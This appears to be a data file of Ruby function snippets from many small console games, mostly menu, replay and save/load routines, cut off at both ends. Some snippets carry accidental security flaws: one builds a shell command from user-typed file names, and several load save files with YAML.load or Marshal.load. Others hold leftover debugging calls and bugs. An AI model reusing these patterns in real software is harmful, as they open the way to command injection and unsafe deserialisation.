file.read.yellow\n end\n ask('Press enter to start the game'.yellow)\n initialize_game\n when START_GAME_OPTION\n say '-------------'\\\n 'starting the game'\\\n '-------------'.green\n show_wait_cursor(3)\n initialize_game\n end\n end", "def main_menu\n print 'YoU pIcK NoW!: '\n case gets.chomp.to_i\n when 1 then @game = Gamestate.new(true, true)\n when 2 then @game = Gamestate.new(true)\n when 3 then @game = Gamestate.new\n when 4\n if Dir.exist?('saves')\n @game = Gamestate.new(false, false, true)\n @game.load_game\n else\n print 'WrOnG! '\n main_menu\n end\n when nil || 5..9 || 0\n print 'WrOnG! '\n main_menu\n end\nend", "def get_game\n\t\tif @file_exists == 1\n\t\t\t# If the file exists, but there are no rows in it, there are no saved games\n\t\t\tif @data.length == 0\n\t\t\t\tputs \"Oops, you have no saved games.\"\n\t\t\t\tputs \"Here, start a new one!\"\n\t\t\t\tputs\n\t\t\t\tnew_game\n\t\t\telse\n\t\t\t\tputs \"Which game?\"\n\t\t\t\t# Display each partially guessed word like: \"1. _ e _ _ t\"\n\t\t\t\t@data.each_with_index { |row, i| puts \"#{i+1}. #{row[1].split(\"\").join(\" \")}\" }\n\t\t\t\t# Get user's choice\n\t\t\t\tgame = gets.chomp.to_i\n\t\t\t\t# If the user entered a number that appears on the board...\n\t\t\t\tif game.between?(1,@data.length)\n\t\t\t\t\t# Get all info out of chosen row\n\t\t\t\t\t@word = @data[game-1][0].split(\"\").to_a\n\t\t\t\t\t@guess = @data[game-1][1]\n\t\t\t\t\t@wrong_letters = @data[game-1][2]\n\t\t\t\t\t@turn = @data[game-1][3].to_i\n\t\t\t\t\t@running_saved_game = (game - 1)\n\t\t\t\t\t# Get the next guess\n\t\t\t\t\tget_guess\n\t\t\t\telse\n\t\t\t\t\tputs \"Not a valid choice! Pick again\"\n\t\t\t\t\tget_game\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tputs \"Oops, you have no saved games.\"\n\t\t\tputs \"Here, start a new one!\"\n\t\t\tputs\n\t\t\tnew_game\n\t\tend\n\tend", "def game_over\n\tputs \"\\tGAME OVER!\"\n\tsleep (3)\n\tputs \"\\tWould you like to try again?\"\n\tputs \"\\tY/N\"\n\tplay_again = gets.chomp.downcase\n\tif play_again.include? \"y\"\n\t\tload \"./crazy_cat.rb\"\n\telsif play_again.include? \"n\"\n\t\tputs \"Thanks for playing!\"\n\t\tsleep (3)\n\t\tsystem (\"clear\")\n\t\texit\n\telse\n\t\tputs \"Goodbye!\"\n\t\tsleep (3)\n\t\tsystem (\"clear\")\n\t\texit\n\tend\nend", "def loader_helper\n\t\tif !(Dir.exists? \"saves\") || Dir[\"saves/*\"].length == 0\n\t\t\tputs \"There are no save files...Starting game.\"\n\t\t\treturn false\n\t\tend\n\t\tsaves = Dir.entries(\"saves\")\n\t\tsaves.delete(\".\")\n\t\tsaves.delete(\"..\")\n\t\tputs \"The save files are: #{saves.join(\", \")}\"\n\t\tprint \"Type the save name: \"\n\t\tsave = gets.chomp\n\t\tunless saves.include? save\n\t\t\tputs \"That file doesn't exist. Try again.\\n\\n\"\n\t\t\tsave = loader_helper \n\t\tend\n\t\tsave\n\tend", "def select_game\n intro\n input = gets.chomp\n\n case input.to_i\n when 1\n start_new_game\n when 3\n load_last_save\n else\n puts 'i do not know that input'\n end\nend", "def try_load_students\n filename = ARGV.first # first argument from the command line\n if filename.nil? # get out of the method if it isn't given\n puts \"Please enter the a full file name to load (extension included): \"\n filename = STDIN.gets.chomp\n \n end\n if File.exists?(filename) # if it exists\n load_students(filename)\n puts \"Loaded #{@students.count} from #{filename}\"\n else # if it doesn't exist\n puts \"Sorry, #{filename} doesn't exist. would you like to load default file? Y/N\"\n decision = STDIN.gets.chomp.downcase\n if decision == \"y\"\n load_students(@default_file)\n success\n else\n termination\n end\n #exit # quit the program\n end\n \nend", "def another_game?\n\n puts \"Do you want to play another game? Y/N \"\n\n answer = gets.chomp\n\n return true if answer == 'Y'\n\n false\n\nend", "def load_menu\n\t\ti = 1\n File.new(\"saved_games.yaml\",\"w\") unless File.exist?(\"saved_games.yaml\")\n if File.read(\"saved_games.yaml\").empty?\n puts \"There are no saved games, yet.\"\n initialize\n else\n YAML.load_stream(File.open(\"saved_games.yaml\")) do |saved_game|\n puts \"#{i}: \" + saved_game[-1].strftime(\"%m/%d/%Y %I:%M%P\")\n i += 1\n end\n puts \"\"\n puts \"Choose a game to load or \\\"exit\\\" to menu:\"\n game_index = gets.chomp.strip.downcase\n if game_index == \"exit\"\n initialize\n elsif game_index.to_i <= i && game_index.to_i >= 1\n game_index = game_index.to_i\n i = 1\n File.new(\"temp.yaml\",\"w\")\n puts \"\"\n YAML.load_stream(File.open(\"saved_games.yaml\")) do |game|\n if i == game_index\n \t@gameboard = game[0]\n @pieces = game[1]\n @player_color = game[2]\n else\n File.open(\"temp.yaml\",\"a\") do |out|\n YAML::dump(game,out)\n end\n end\n i += 1\n end\n File.delete(\"saved_games.yaml\")\n File.rename(\"temp.yaml\",\"saved_games.yaml\")\n Chess.new(@gameboard,@pieces,@player_color)\n else\n puts \"Invalid input. Try again...\"\n puts \"\"\n load_menu\n end\n end\n\tend", "def save_game\n\t\tputs \"Type a name for your saved game\"\n\t\tgame_name = gets.chomp\n\t\tfilename = \"#{game_name}.txt\"\n\n\t\t ex_file = File.expand_path(\"./saved_games/#{filename}\")\n\t\t \n\t\tif File.exists?(ex_file)\n\t puts \"#{filename} exists\" #overwrite method?\n\t \n\t self.save_game\n\t else\n\t\t\tFile.open(ex_file, \"w\") do |f|\n\n\t\t\t\tf.puts YAML::dump(game_state)\n\n\t\t\t\tputs \"Your game was saved as #{filename}\" \n\t\t\tend\n\t\tend\n\tend", "def another_game?\n\n puts \"\"\n puts \"Do you want to play another game? Y/N \"\n\n answer = gets.chomp\n\n return true if answer == 'Y'\n\n false\n\n end", "def save_game\n\t\tputs \"Type a name for your saved game\"\n\t\tgame_name = gets.chomp\t\n\t\tfilename = \"#{game_name}.yml\"\n\n\t\t ex_file = File.expand_path(\"./saved_games/#{filename}\")\n\t\t \n\t\tif File.exists?(ex_file)\n\t puts \"#{filename} exists\" #overwrite method?\n\t \n\t self.save_game\n\t else\n\t\t\tFile.open(ex_file, \"w\") do |f|\n\t\t\t\tgame_state = YAML::dump(self)\n\t\t\t\tf.puts game_state\n\t\t\t\tputs \"Your game was saved as #{filename}\" \n\t\t\tend\n\t\tend\n\tend", "def ask_menu_option\n puts 'What would you like to do?'\n puts ''\n puts '1. Start New Game'\n puts '2. Load Game From Save File'\n puts ''\n correct_input = 0\n until correct_input == 1\n print 'Enter a number: '\n option = gets.chomp\n if %w[1 2].include?(option)\n correct_input = 1\n else\n puts 'PLEASE ENTER 1 OR 2'\n end\n end\n puts \"\\n\\n\"\n option\n end", "def exit_game?\n puts \"Would you like to exit game or play again?\"\n decision = gets.chomp\n if decision.downcase == \"exit\"\n exit\n elsif decision.downcase == \"play again\"\n initialize\n end\n end", "def load_game\n if File.exists?(@save_file)\n File.open(@save_file, 'r') do |f|\n @hero = Marshal.load(f)\n end\n @cmd_window.setpos(0,0)\n @cmd_window << \"Game loaded!\".rjust(CMD_WIDTH)\n else\n @cmd_window.setpos(0,0)\n @cmd_window << \"No save file found!\".rjust(CMD_WIDTH)\n end\n end", "def save_game\n save_data = YAML::dump(self)\n puts \"Please enter a name for your save game:\"\n prompt\n @filename = gets.chomp\n File.open(\"./saved/#{@filename}\", \"w\") { |file| file.write(save_data)}\n puts \"Saved\"\n get_input\n end", "def play_again()\n puts \"Do you want to play again? (yes, no)\"\n play_again = gets.chomp.downcase\n if play_again == \"yes\"\n play_game()\n end\nend", "def requestNewGame\n print \"Do you want to play again? (y/n): \"\n wantsNewGame = nil\n while wantsNewGame.nil?\n input = gets.chomp.downcase\n case input\n when \"y\", \"yes\"\n wantsNewGame = true\n when \"n\", \"no\"\n wantsNewGame = false\n puts \"Thanks for playing!\"\n else\n puts \"Please enter 'yes' or 'no' or their abbreviations (y,n)\"\n end\n end\n if wantsNewGame\n newGame()\n end\n end", "def start_trivia\n puts \"Are you ready to start playing? [Y/N]\"\n start_game = gets.chomp\n\n if start_game.downcase == \"y\" || start_game.downcase == \"yes\"\n # intentionally left this blank so that the file will continue to run in run.rb\n elsif start_game.downcase == \"n\" || start_game.downcase == \"no\" || start_game.downcase == \"exit\"\n exit_program\n else\n puts \" \\nPlease choose Yes or No... It's not that hard to follow instructions...\\n \"\n start_trivia\n end\n\nend", "def save_game_state(numberOfGuesses, secretWord, secretWordString, letterCorrectGuesses, letterWrongGuesses, win)\n puts \"Do you want to save your current file state? [y/N]\"\n answer_open = gets.chomp\n if answer_open != \"\" && answer_open.downcase[0] != \"n\"\n puts \"What pre-name do you want to give to your file?\"\n puts \"(press enter to save to the file opened at the beginning of the game)\"\n pre_name = gets.chomp\n\n if pre_name === \"\"\n name = Dir.glob(\"game_states/*_game_state.txt\")[$number]\n else\n name = \"game_states/#{pre_name}_game_state.txt\"\n end\n\n File.write(name,\n \"\"\" number_of_guesses = #{numberOfGuesses}\n secret_word_string = \\\"#{secretWordString}\\\"\n secret_word = #{secretWord}\n letter_correct_guesses = #{letterCorrectGuesses}\n letter_wrong_guesses = #{letterWrongGuesses}\n win = #{win}\"\"\")\n File.write(\"last_saved.txt\", name)\n puts \"Your game state is saved in #{name}\"\n end\n\n puts \"Do you want to exit the game? [y/N]\"\n answer_exit = gets.chomp\n ex = answer_exit != \"\" && answer_exit.downcase[0] != \"n\"\n puts \"Exiting game...\" if ex\n return ex\nend", "def load_game\n\t\tall_saved_games = yaml_load(SAVED_FILENAME)\n\t\tgame_name = get_game_name(all_saved_games, \"load\")\n\t\treturn if game_name.nil?\n\n\t\tsaved_game = YAML::load(all_saved_games[game_name])\n\t\tmessage_then_enter \"'#{ game_name }' successfully loaded.\"\n\t\tsaved_game.play_game\n\tend", "def main \n puts \"---------------------\"\n puts \"Welcome to Mike's Number guessing game\"\n puts \"----------------------\"\n puts \"Do you want to play?\"\n choice = gets.chomp.to_s\n while !valid(choice)\n puts \"please enter either y or n\"\n choice = gets.chomp.to_s\n end \n if choice == 'y'\n mode \n else \n puts \"Well, I hope you come back soon to play!\"\n end \nend", "def menu\nclear_the_screen\nf = File.read(\"troll.txt\")\nputs \"#{f}\"\nenter = gets.chomp.to_i\nclear_the_screen\nputs \" --------------------------------------------------------\"\nputs \" | | TIC-TAC-TOE GAME | |\"\nputs \" --------------------------------------------------------\\n\\n\"\nputs \"\t\tBIENVENUE SUR TIC-TAC-TOE GAME\\n\\n\"\nputs \"\t\t (1) START THE GAME (1)\"\nputs \"\t\t (2) REGLES DU JEU (2)\"\nputs \"\t\t (3) QUITTER (3)\"\n\n#Choisir les options du menu principal 1) START 2) REGLES DU JEU 3) QUITTER LE JEU\noption = gets.chomp.to_i\n\tclear_the_screen\n\tworld = World.new\n\tif option == 1\n\t\t\tworld.start_the_game\n\t\telsif option == 2\n\t\t\tworld.rules\n\t\telse\n\t\t\tputs \"À bientot !\"\n\t\t\tworld.end_the_game\n\t\tend\n\tend", "def play_again?\n\n play_again = ''\n puts \"\"\n puts \"Would you like to play again.\"\n puts \"Type 'y' or 'yes' to play again.\"\n puts \"OR\"\n puts \"Type 'n' or 'no' to exit\"\n play_again = gets.strip.downcase\n\n case play_again\n when 'y', 'yes'\n start_menu\n when 'n', 'no'\n abort(\"You Exited the Game\")\n else\n puts \"Invalid choice!\"\n play_again?\n end # case play_again\n\n end", "def input\n\t\tprint_word\n\t\tprint \"\\n>> \"\n\t\tinput = gets.chomp\n\t\tif @player.word_to_guess.include? input\n\t\t\t@player.correct_letters << input\n\t\telsif input == \"save game\"\n\t\t\toutput = File.new('save.yml', 'w')\n\t\t\toutput.puts YAML.dump(@player)\n\t\t\toutput.close\n\t\t\tputs \">game saved<\"\n\t\t\tgame_loop\n\t\telsif input == \"exit\"\n\t\t\texit\n\t\telse\n\t\t\t@player.turn += 1\n\t\tend\n\tend", "def ask_for_start\n puts \"Do you want to start the game? y/n\"\n user_input = Info.get_user_input\n if user_input.downcase == \"y\"\n start_game\n elsif user_input.downcase == \"n\"\n puts \"You said no :(\"\n else\n exit_app\n end\n end", "def start\n\n gamestart()\n\n puts \"Welcome to Lunar Lander!\"\n puts \"Are you ready to begin your adventure?\"\n puts \"\\n\"\n puts \"- Yes\"\n puts \"- No\"\n puts \"\\n\"\n\n print \"> \"\n start_game = $stdin.gets.chomp\n\n if start_game == \"Yes\" || start_game == \"yes\"\n launch()\n else\n puts \"Fine then.. keep your secrets.\"\n end\nend", "def load\n file_name = ask_save_file\n save_file = File.open(file_name, 'r')\n save_file.pos = 0\n contents = unserialize(save_file.read)\n @name = contents['name']\n @guess = contents['guess']\n @word = contents['word']\n @bank = contents['bank']\n @lives = contents['lives']\n @letter = contents['letter']\n puts \"Game has been loaded from Save File #{file_name[-5]}!\"\n puts \"\\n\\n\"\n end", "def run\n choose_game(prompt)\nend", "def start\nputs \" \"\nputs \" \"\nputs \" --- The Escape --- \"\nputs\" ----------------\"\nputs\"|1) New Game |\"\nputs\"|2) Load Game |\"\nputs\"|3) Intro |\"\nputs\"|4) About |\"\nputs\"|5) Exit |\"\nputs\" ---------------- \"\n$choice=0\n until (($choice>=1)&&($choice<=5)) do\nputs \"Chose your option:\"\n$choice = gets.chomp.to_i\nend\n\nif ($choice==4)\nabout\nstart\nend\n\nif ($choice==3)\nintro\nstart\nend\n\nif ($choice==5)\nclose\nend\n\nif ($choice==2)\nload_game\nend\n\nif ($choice==1)\nnew_game\nend\n\n end", "def save_game\n #yaml = YAML::dump(self)\n puts \"Please enter a filename for the saved game.\"\n save_file_name = gets.chomp.downcase\n save_file = File.write(\"saved_games/#{save_file_name}.yaml\", self.to_yaml)\n #save_file.write(yaml)\n puts \"Your game has been saved!\"\n puts \"Goodbye!\"\n end", "def start\n puts \"Press Y to play or N to exit\"\n input = gets.chomp.downcase\n if input == \"y\"\n new_game\n elsif input == \"n\"\n puts \"Exiting...\"\n else\n start\n end\n end", "def load_game\n\t\tload_gameplay = YAML.load(File.read 'saved_game.yaml')\n\t\t@board = load_gameplay[0]\n\t\t@current_player = load_gameplay[1]\n\t\tshow_board\n\t\tinput_validation\n\tend", "def launch_program\n gametype = nil\n puts \"---Welcome to Hang-Man!---\"\n puts \"Anytime during the game you can write\"\n puts \"save\".colorize(:red) + \" or \" + \"quit\".colorize(:red)\n puts \"to either save or quit your game\"\n until gametype == \"newgame\" || gametype == \"load\"\n puts \"For a new game, type \" + \"newgame.\".colorize(:red)\n puts \"To load an old game, type \" + \"load.\".colorize(:red)\n gametype = gets.chomp.downcase\n if gametype == \"newgame\"\n game_start\n else\n load_game\n end\n end\n end", "def continue?\r\n\tprintLine\r\n\tputs \"Would you like to play another game? (yes or no)\"\r\n\tprint \"--> \"\r\n\t@choice = gets.chomp\r\n\t#If user doesn't want to continue hand is still finished\r\n\tif @choice.include? \"yes\"\r\n\t\t@new_game = true\r\n\t\t@hand_finished = false\r\n\t\treturn true\r\n\telse \r\n\t\treturn false\r\n\tend\r\nend", "def new_hand_check\n puts 'Are you ready to play? Enter ' + '(Y)es'.light_green + ' to proceed or ' + '(N)o'.light_red + ' to return to the main menu.'\n @input = STDIN.gets.chomp\n if @input.downcase == 'y' || @input.downcase == 'yes'\n @game_running = true\n elsif @input.downcase == 'n' || @input.downcase == 'no'\n @game_running = false\n else\n puts 'Please enter a valid input.'\n new_hand_check\n end\nend", "def play\n puts \"Do you want to be the codebreaker? [Y/N]\"\n input = gets.chomp.upcase\n if input == \"Y\"\n player_play\n else\n comp_play\n end\n end", "def play_again\n puts \"Do you want to play again(y/n)?\"\n desire = $stdin.gets.chomp.downcase\n if desire == \"y\"\n Game.new.play\n else\n puts \"Thanks for playing!\"\n exit\n end\n end", "def provide_user_option \r\n @user_choice = user_input \"\\nWhat would you like to do?\\nPress 1 to pick a file and play normally\\nPress 2 to play file in reverse\\nPress 3 if you'd like to exit\\n\"\r\nend", "def load_game\n save_file = YAML.load(File.read('save_game.yml'))\n @guess = save_file['guess']\n @secret_word = save_file['secret_word']\n @word_teaser = save_file['word_teaser']\n @lives = save_file['lives']\n round_start\n end", "def win_game_choice\nputs \"You win. Very impressive.\"\n # case win_game_menu()\n # when \"Stats\"\n # stats_menu_choice_endgame()\n # when \"Exit\"\n exit!\n # end\n\nend", "def choose_game\n puts \"Please choose from the following options:\"\n puts \"1) Roulette\"\n puts \"2) Casino War\"\n puts \"3) Blackjack\"\n puts \"4) $1 Slots\"\n puts \"5) Show wallet balance\"\n puts \"6) Cash out and leave\"\n answer = gets.strip.to_i\n case answer\n when 1\n play_roulette\n when 2\n play_casino_war\n when 3\n play_blackjack\n when 4\n play_slots\n when 5\n @person_wallet.show_wallet\n choose_game\n when 6\n @person_wallet.final_wallet\n exit\n else\n puts \"That is not a valid choice. Please choose again.\\n\\n\"\n choose_game\n end\n end", "def p_again\n \n\n\tputs\n\tputs \"Shoot again? (y/n):\"\n\tputs\n\tchoice2 = gets.chomp.downcase\n\tputs\n\n\tcase choice2\n\t\twhen \"y\"\n\n\t\t\t$play = \"y\"\n\t\telse\n\n\t\t\t$play = \"n\"\n\tend\n\nend", "def action_0\nputs \"Are you ready to start a new game?\\n [ Y ] [ N ]\"\n user_input = gets.chomp.downcase\n if user_input == \"y\"\n action_1\n elsif user_input == \"n\"\n puts \"\\nSmart decision! Come back later :)\\n\\n\"\n exit\n else\n nil\n end\nend", "def save_game?\n answer = Ui.save_game_question\n if answer.downcase == 'save'\n saving\n exit_now\n end\n end", "def play_again?\n puts 'Would you like to play again? (y/n)'\n answer = gets.chomp\n if answer == 'y'\n system 'clear'\n Display.new\n elsif answer == 'n'\n system 'clear'\n system 'exit'\n else\n play_again?\n end\n end", "def play\n title\n divider\n puts \"Choose 'Rock', 'Paper', or 'Scissors'\"\n input = gets.strip\n input_downcase(input)\n if valid_selection?\n computer_selection\n won\n else\n play\n end\n end", "def play_game() \n game()\n loop do\n puts \"Would you like to play another round?\"\n answer = gets.chomp\n answer = answer.downcase\n if answer == \"y\" || answer == \"yes\" \n game()\n elsif answer == \"n\" || answer == \"no\"\n puts \"\"\n puts \"Goodbye!\"\n exit!\n else\n puts \"\"\n puts \"Sorry, I didn't get that. Try typing 'yes' or 'no.'\"\n end\n end \n end", "def ask_replay\n puts \"\\nDo you want to play another game? (yes or no)\"\n @replay_wanted = gets.chomp\n if @replay_wanted == 'yes'\n return nil\n elsif @replay_wanted == 'no'\n return \"\\nIf you won, congratulations. If not, I could not care less.\"\n else\n @replay_wanted = 'no'\n return 'Your answer is not recognized. If you wish to play again, restart the game.'\n end\nend", "def new_game\n binding.pry\n puts 'Do you want to play again? (y/n)'\n play_again = gets.chomp.downcase\n if play_again == 'y'\n a = TicTacToe.new\n a.display\n else play_again == 'n'\n binding.pry\n goodbye\n end\n end", "def human_vs_computer_game\n game = nil\n puts \"Get three in a row to win!\"\n puts \" \"\n puts \"Do you want to be X? Enter y/n\"\n selection = gets.strip\n if selection == \"y\"\n game = Game.new(Players::Human.new(\"X\"), Players::Computer.new(\"O\"))\n elsif selection == \"n\"\n game = Game.new(Players::Computer.new(\"X\"), Players::Human.new(\"O\"))\n else\n puts \"Please enter a valid response\"\n selection = gets.strip\n end\n game.play\n play_again?\n end", "def save\n puts \"Would you like to save your progress? (y/n)\"\n puts \"\"\n response = gets.strip.downcase\n puts \"\"\n if response == \"y\"\n File.open(\"saves.yaml\", \"w\") do |file|\n file.puts YAML::dump(@computer)\n end\n puts \"Your game has been saved!\"\n puts \"\"\n else\n puts \"Lets just keep playing then!\"\n puts \"\"\n end\n end", "def round\n puts \"Guess a letter, guess the whole word, \\\"save\\\" game and exit,\"\n puts \"or \\\"exit\\\" game without saving.\"\n input = gets.chomp.strip\n case input\n when \"exit\"\n GameMenu.new\n when \"save\"\n saved_game = SaveGame.new(@chosen_word,@word_guess,@dead_man,Time.now)\n saved_game.dump\n GameMenu.new\n when \"\"\n puts \"\\n\"\n round\n else\n @word_guess.guess(input,@dead_man)\n if @word_guess.letters_guessed_array.include?(\"__\")\n if @dead_man.wrong_guesses == 8\n GameMenu.new\n else\n round\n end\n else\n GameMenu.new\n end\n end\n end", "def determine_savefile\n if @saving\n if FileTest.exist?(make_filename(@last_slot_index))\n Sound.play_decision\n @confirm_window.show()\n @window_slotlist.active=false\n else\n Sound.play_save\n do_save()\n end\n else\n if FileTest.exist?(make_filename(@last_slot_index))\n Sound.play_load\n do_load()\n else\n Sound.play_buzzer\n end\n end\n end", "def start_screen()\n puts \"Welcome to Hangman.\"\n puts \"'N' to start a new game, 'L' to load!\"\n choice = gets.chomp.upcase\n if choice == 'N'\n self.play\n elsif choice == 'L'\n load_game\n else\n puts \"Please choose 'N' or 'L' next time.\"\n puts \"For now the culprit's fate is spared. Take care!\"\n end\n end", "def program_start\n\t\tputs \"Let's play a round of Hangman!\"\n\t\tputs \"Would you like to start a new game or do want to load an old saved game lying around? Choose from:\"\n\t\tputs \"- New\"\n\t\tputs \"- Load\"\n\t\tstart_choice = gets.chomp.downcase\n\t\tputs \"\"\n\t\tif (start_choice == \"new\")\n\t\t\tstart_game(new_word)\n\t\telsif (start_choice == \"load\")\n\t\t\tload_game\n\t\telse\n\t\t\tputs \"Your input was invalid, program starting again...\\n\\n\"\n\t\t\tprogram_start\n\t\tend\n\tend", "def play_again\n puts \"Want to play again?\"\n answer = gets.chomp.upcase\n if answer == \"Y\"\n new_game\n else\n puts \"Thanks for playing, come back again!\"\n end\n end", "def playagain\n puts \"\\n\\n\\n\\nDo you want to play again? (yes or no)\"\n ans = gets.chomp\n if ans==\"yes\"\n play @animalTree\n else\n puts \"Nice playing with you!\"\n end\n end", "def replay \n\tputs \"Would you like to play again? Please respond with yes or no.\" \n\tanswer = gets.chomp \n \tif answer == \"yes\" \n\t\tputs \"Ready?...Go!\"\n\t\tplay_game\n\telsif answer == \"no\"\n\t\tputs \"Alright then. Thank you for playing! OuO/\"\n else \n \tputs \"You didn't put neither 'yes' or 'no'. Let me ask you again.\"\n \treplay\n end\nend", "def menu(game)\n puts \"Do you want to play tic-tac-toe? 1 for yes 2 for no\"\n option = gets.chomp.to_i\n case option \n when 1\n gam.turn\n when 2\n exit\n end\nend", "def guess\n\t\tputs \"Pick a letter. (enter 'save' at anytime to save the game)\"\n\t\tinput = gets.chomp.downcase\n\t\treturn input if input.size == 1\n\t\tif input == 'save'\n\t\t\tsave_game\n\t\t\treturn menu\n\t\tend\n\t\tputs \"That doesn't make sense. Try again.\"\n\t\treturn guess\n\tend", "def ask_save_file\n puts 'What save file would you like to use?'\n puts ''\n puts '1 2 3'\n puts ''\n correct_input = 0\n until correct_input == 1\n print 'Save file number: '\n save_file = gets.chomp\n if %w[1 2 3].include?(save_file)\n correct_input = 1\n else\n puts 'PLEASE ENTER A NUMBER FROM 1-3'\n end\n end\n puts \"\\n\\n\"\n \"save_file_#{save_file}.txt\"\n end", "def main_menu\n\tputs \"welcome to the magic 8 ball.\"\n\tputs \"To begin type PLAY; if you would like to exit type QUIT.\"\n\t\n\t\n\tanswer = gets.strip.downcase\n\n\tif answer == \"play\"\n\t\teight_ball\n\telse\n\t\texit\n\tend\nend", "def save_game(game)\n print \"Enter a new filename to save game in: \"\n filename = gets.chomp\n File.open(filename, \"w\") {|f| f.puts game.to_yaml}\nend", "def new_game_perhaps\n \n puts \"Do you want to play again? (answer Y or N)\"\n reply = gets.chomp \n if reply.upcase == \"Y\"\n game = TicTacToe.new\n game.initialise\n # no checks, you can type anything here. Only Y or y gives you a new game\n else\n puts \"OK, #{@player}. Thanks for playing. Bye.\"\n exit\n end\n end", "def play_another_round\n\t\tputs \"Do you want to play another round? (y/n)\"\n\t\tgame_over = gets.strip\n\n\t\tif game_over == \"y\"\n\t\t\treturn \"y\"\n\t\telse\n\t\t\treturn \"n\"\n\t\tend\n\tend", "def choose_game(type)\n case(type)\n when '2'\n puts \"This feature is not yet available. Please try again later.\"\n # two_player_mode\n when '1'\n puts \"This feature is not yet available. Please try again later.\"\n # one_player_mode\n when '0'\n puts \"This feature is not yet available. Please try again later.\"\n # zero_player_mode\n when 'q'\n puts \"Thanks for playing! Good bye.\"\n exit\n else\n puts \"You have not selected a valid option.\"\n puts \"Please enter a number (0-2) or 'q' to quit.\"\n end\n\n choose_game(prompt)\nend", "def done()\n\n\t\t# Anouce the end of the game\n\tputs\n\tputs \" ------- End of the game -------\"\n\tputs\n\tputs\n\t\t# prints question to ask if user want to play again \n\tputs \"Would you like to play again? y/n\"\n\t\t# captures answer from user\n\tregame = gets.chomp.to_s\n\n\t\t# analize user's answer if ys y will call method game() to start game again\n\tif regame == \"y\"\n\t\tputs \" \"\n\t\tputs \" \"\n\t\tgame()\n\n\t\t# prints thansk before end of the program\n\telse\n\t\tputs\n\t\tputs \" *** Thansk for Playing *** \"\n\t\tputs\n\t\texit\n\tend\n\nend", "def loadGame()\n\nend", "def choice\n puts \"How do you want to play?:\"\n print \"Many Battles \"\n print \"- Choose Your Stats \"\n print \"- Move Battle(unavailable)\"\n puts \" \"\n print \"Enter your choice: \"\n choice = gets.chomp\n\n if choice == \"Many Battles\"\n system \"clear\"\n many_battles\n elsif choice == \"many battles\"\n system \"clear\"\n many_battles\n elsif choice == \"Many battles\"\n system \"clear\"\n many_battles\n elsif choice == \"many Battles\"\n system \"clear\"\n many_battles\n elsif choice == \"Choose Your Stats\"\n system \"clear\"\n user_input\n elsif choice == \"choose your stats\"\n system \"clear\"\n user_input\n elsif choice == \"Choose your stats\"\n system \"clear\"\n user_input\n elsif choice == \"choose Your stats\"\n system \"clear\"\n user_input\n elsif choice == \"choose your Stats\"\n system \"clear\"\n user_input\n elsif choice == \"Move Battle\"\n puts \"This Mode is unavailable\"\n elsif choice == \"move battle\"\n puts \"This Mode is unavailable\"\n else\n puts \"Type in one of the choices\"\n end\n end", "def load_game\nputs \"Please choose one of the below saved profiles:\"\nsystem (\"ls *.ca\")\nprint \":\"\n$name = gets.chomp\n$file_name = $name + \".ca\"\nwhile(!system(\"test -e '#{$file_name}'\")) do\nputs \"Such profile does not exits, please choose a valid one.\"\nsystem (\"ls *.ca\")\nprint \":\"\n$name = gets.chomp\n$file_name = $name + \".ca\"\nend\ninfo = IO.readlines(\"#{$file_name}\") # info is a array and each index value is the info of a line info[3] = info that is on line number three.\n# now info is acctualy being loaded intro the system variables\n$name = info[0]\n$lvl = info[1]\n$gold = info[2]\nfor i in 3..((info.length)-1) do\n$inventory[$inventory.length] = info[i] # with $inventory.length start from 0 becuse it's initial null it will automaticaly grow\nend\nputs \"Loading please wait...\"\nsleep(2)\nprint \"............\"\nsleep(1)\nputs \"............\"\nputs $name\nputs $gold\nputs $lvl\nputs $inventory\n####call the level method\nend", "def try_load_students\n filename = ARGV.first #first argument of command line\n return if filename.nil?\n if File.exists?(filename)# if file exists then execute load_students method\n load_students(filename)\n puts \"Information has been loaded from #{filename}\"\n else # If file doesn't exist\n puts \"Try again, #{filename} doesn't exist\"\n exit # quit the program\n end\nend", "def choose_game\n x = 0\n until x == 1 || x == 2\n puts \"Which game would you like to play?\"\n puts \"1 - Rock/Paper/Scissors\"\n puts \"2 - Rock/Paper/Scissors/Lizard/Spock\"\n x = gets.chomp.to_i\n if x == 1\n @rules = Rules_RPS.new\n elsif x == 2\n @rules = Rules_RPSLS.new\n else\n puts \"That is not a valid choice.\"\n end\n end\n end", "def find_save_file\n if File.exist?(\"save.txt\")\n save_file = File.read(\"save.txt\")\n load_save(save_file)\n else\n puts \"No save found!\"\n end\n end", "def play\n choice = ask_menu_option\n choice == '1' ? setup : load\n continue = 1\n while continue == 1\n round_sequence\n if ask_play_again == 'y'\n reset\n else\n continue = 0\n puts 'Goodbye!'\n puts \"\\n\\n\"\n end\n end\n end", "def new_round?\n puts 'Want to play another round? Press y for yes or n for no'\n input = gets.chomp.to_s\n if input == 'y'\n sleep 1\n start_correct_game_flow\n elsif input == 'n'\n puts 'Ok, thanks for playing!'\n sleep 1\n else new_round?\n end\n end", "def menu\n\t\tclear_screen\n\t\tputs \"------\"\n\t\tputs \"Chess!\"\n\t\tputs \"------\"\n\t\tputs \"Main Menu\"\n\t\tputs \"\"\n\t\tputs \"Enter one of the following:\"\n\t\tputs \"New\"\n\t\tif @current_turn != false\n\t\t\tputs \"Resume\"\n\t\t\tputs \"Save\"\n\t\tend\n\t\tputs \"Load\"\n\t\tputs \"Quit\"\n\t\tputs \"\"\n\t\tinput = gets.chomp.downcase \n\t\tcase input\n\t\twhen 'new'\n\t\t\t@board = Board.new\n\t\t\tclear_screen\n\t\t\tset_ai\n\t\t\tclear_screen\n\t\t\tgame_engine\n\t\twhen 'resume'\n\t\t\tclear_screen\n\t\t\tgame_engine\n\t\twhen 'save'\n\t\t\tto_yaml\n\t\t\tclear_screen\n\t\t\tputs \">Game saved<\"\n\t\t\tmenu\n\t\twhen 'load'\n\t\t\t@board = Board.new\n\t\t\tfrom_yaml\n\t\t\tclear_screen\n\t\t\tputs \">Game loaded<\"\n\t\t\tgame_engine\n\t\twhen 'quit'\n\t\t\tabort(\">Exiting game<\")\n\t\telse\n\t\t\tclear_screen\n\t\t\terror\n\t\t\tmenu\n\t\tend\n\tend", "def game_start\n computer_choice = get_random_choice\n puts(\"Welcome to rock, paper, scissors, lizard, spock game\")\n puts(\"Please enter your choice\")\n \n # a user has 3 chances for an invalid input\n is_valid = false\n user_choice = gets.chomp\n user_choice = user_choice.downcase\n for i in 0..1\n if (!is_valid_input(user_choice))\n puts(\"Invalid input, please enter one of: rock, paper, scissors, lizard, spock\")\n user_choice = gets.chomp\n user_choice = user_choice.downcase\n else\n is_valid = true\n break\n end\n end\n\n if !is_valid\n puts(\"You've entered an invalid choice for three times, game 